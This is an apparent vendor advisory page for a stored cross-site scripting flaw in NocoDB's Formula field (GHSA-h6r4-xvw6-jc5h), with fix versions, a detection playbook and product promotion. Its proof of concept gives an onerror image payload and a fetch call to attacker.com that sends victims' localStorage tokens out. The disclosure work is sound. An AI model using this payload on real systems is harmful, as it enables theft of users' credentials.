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GHSA-h6r4-xvw6-jc5h

HIGHFix: nocodb/nocodb@7f58ce3

GHSA-h6r4-xvw6-jc5h is a high-severity (CVSS 7.3) Cross-site Scripting (XSS) vulnerability in nocodb. O3 Security confirms whether GHSA-h6r4-xvw6-jc5h is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue

Also known asCVE-2023-49781
Published
May 13, 2024
Updated
Aug 21, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

nocodbnpm
2Kdownloads / week

Description

Summary

A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.

Details

The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.

PoC

Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage

The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.

Impact

Stealing the credentials of NocoDB user that clicks the malicious link.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmnocodball versions0.202.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nocodb. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update nocodb to 0.202.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h6r4-xvw6-jc5h is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-h6r4-xvw6-jc5h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-h6r4-xvw6-jc5h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. ### Details The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious
O3 Security · Impact-Aware SCA

Is GHSA-h6r4-xvw6-jc5h in your dependencies?

O3 detects GHSA-h6r4-xvw6-jc5h across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.